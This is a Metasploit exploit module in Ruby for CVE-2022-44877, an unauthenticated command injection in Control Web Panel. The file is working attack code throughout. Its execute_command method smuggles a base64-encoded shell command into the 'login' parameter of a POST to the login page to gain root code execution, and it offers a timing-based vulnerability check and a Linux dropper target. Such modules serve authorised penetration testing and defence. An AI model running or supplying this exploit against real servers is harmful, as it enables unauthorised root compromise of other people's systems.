##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CWP login.php Unauthenticated RCE',
'Description' => %q{
Control Web Panel versions < 0.9.8.1147 are vulnerable to
unauthenticated OS command injection. Successful exploitation results
in code execution as the root user. The results of the command are not
contained within the HTTP response and the request will block while
the command is running.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'Numan Türle' # vulnerability discovery
],
'References' => [
[ 'CVE', '2022-44877' ],
[ 'URL', 'https://github.com/numanturle/CVE-2022-44877' ],
[ 'URL', 'https://control-webpanel.com/changelog#1674073133745-84af1b53-c121' ]
],
'DisclosureDate' => '2023-01-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(2031),
OptString.new('TARGETURI', [true, 'Base path', '/login/index.php'])
])
end
def check
sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path) + "?login=$(echo${IFS}#{Rex::Text.encode_base64(cmd)}|base64${IFS}-d|bash)",
'vars_post' => {
'username' => 'root', # *must* be root
'password' => rand_text_alphanumeric(4..16),
'commit' => 'Login'
}
)
# the command will either cause the response to timeout or return a 302
return if res.nil?
return if res.code == 302 && res.headers['Location'].include?('login=failed')
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end